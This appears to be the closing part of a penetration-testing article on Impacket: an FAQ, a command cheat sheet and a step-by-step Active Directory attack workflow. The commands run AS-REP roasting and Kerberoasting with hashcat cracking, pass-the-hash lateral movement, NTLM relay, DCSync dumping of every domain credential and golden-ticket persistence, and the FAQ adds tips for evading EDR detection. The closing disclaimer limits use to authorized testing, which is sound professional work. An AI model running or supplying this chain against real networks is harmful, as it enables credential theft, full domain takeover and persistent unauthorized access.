GetUserSPNs vs Rubeus for Kerberoasting?

GetUserSPNs.py (Impacket) runs from Linux, is cross-platform, and has hashcat-ready output. Rubeus.exe is Windows-only, has more features (monitoring, automatic ticket renewal), but requires .NET execution on the target. For a Kali attack: GetUserSPNs. For a compromised Windows attack: Rubeus.

Is Packet detected by modern EDR?

Depends. psexec.py generates the same artifacts as PsExec native (Event 7045, PSEXESVC binary). wmiexec.py has detection media (process chains suspicious). secretsdump DCSync is highly monitored (Event 4662 DRSUAPI). Evasion requires: timing attacks, Kerberos over NTLM, proxy/VPN obfuscation.

Can ntlmrelayx relay to any target?

No. Requirements: SMB signing disabled on target, target is not source (no relay back to self), admin credentials for post-relay exploitation. In hardened environments: SMB signing enforced blocks relay. Alternatives: relay to LDAP (does not require SMB signing) for privilege escalation.

Cheat sheet #

ScriptCommandDescription
psexec.pypsexec.py DOMAIN/user:pass@targetSMB lateral movement
psexec.py -hashes :NTLM user@targetPass-the-hash
wmiexec.pywmiexec.py DOMAIN/user:pass@targetWMI execution (stealth)
smbexec.pysmbexec.py DOMAIN/user:pass@targetSMB exec no binary drop
secretsdump.pysecretsdump.py DOMAIN/admin:pass@dc01DCSync attack
secretsdump.py -hashes :NTLM admin@dc01DCSync with PTH
GetUserSPNs.pyGetUserSPNs.py DOMAIN/user:pass -requestKerber-roasting
GetNPUsers.pyGetNPUsers.py DOMAIN/ -usersfile users.txtAS-REP roasting
ntlmrelayx.pyntlmrelayx.py -tf targets.txt -smb2supportNTLM relay
getTGT.pygetTGT.py DOMAIN/user:passwordRequest Kerberos TGT
getST.pygetST.py -spn cifs/target user:passRequest Service Ticket
ticketer.pyticketer.py -nthash KRBTGT_HASH -domain DOMAIN adminGolden ticket
lookupsid.pylookupsid.py DOMAIN/user:pass@targetSID enumeration
mssqlclient.pymssqlclient.py DOMAIN/user:pass@sql01MSSQL client

Typical engagement workflow:

bash
# 1. AS-REP roasting (no creds required)
GetNPUsers.py CORP/ -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt

# 2. Con credenziali valide: Kerberoasting
GetUserSPNs.py CORP/user:cracked_password -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt rockyou.txt

# 3. Lateral movement
psexec.py -hashes :hash CORP/svc_account@target

# 4. Privilege escalation to DA
# [exploit chain]

# 5. DCSync
secretsdump.py CORP/domain_admin:pass@dc01 -outputfile full_domain_dump

# 6. Golden ticket
ticketer.py -nthash [KRBTGT_NTLM] -domain-sid [SID] -domain CORP Administrator
export KRB5CCNAME=Administrator.ccache

# 7. Domain persistence
psexec.py -k -no-pass CORP/Administrator@dc01

Disclaimer: Impacket is an authorized penetration testing toolkit. Unauthorized use on Windows/Active Directory networks and systems constitutes a criminal offense (unauthorized access under Article 615-ter of the Italian Criminal Code, system damage under Article 635-bis of the Italian Criminal Code). Use only on your own infrastructure or with explicit written authorization for penetration testing with a defined scope. Official repository: https://github.com/fortra/impacket

#ad #smb

leave a message

I'm not a robot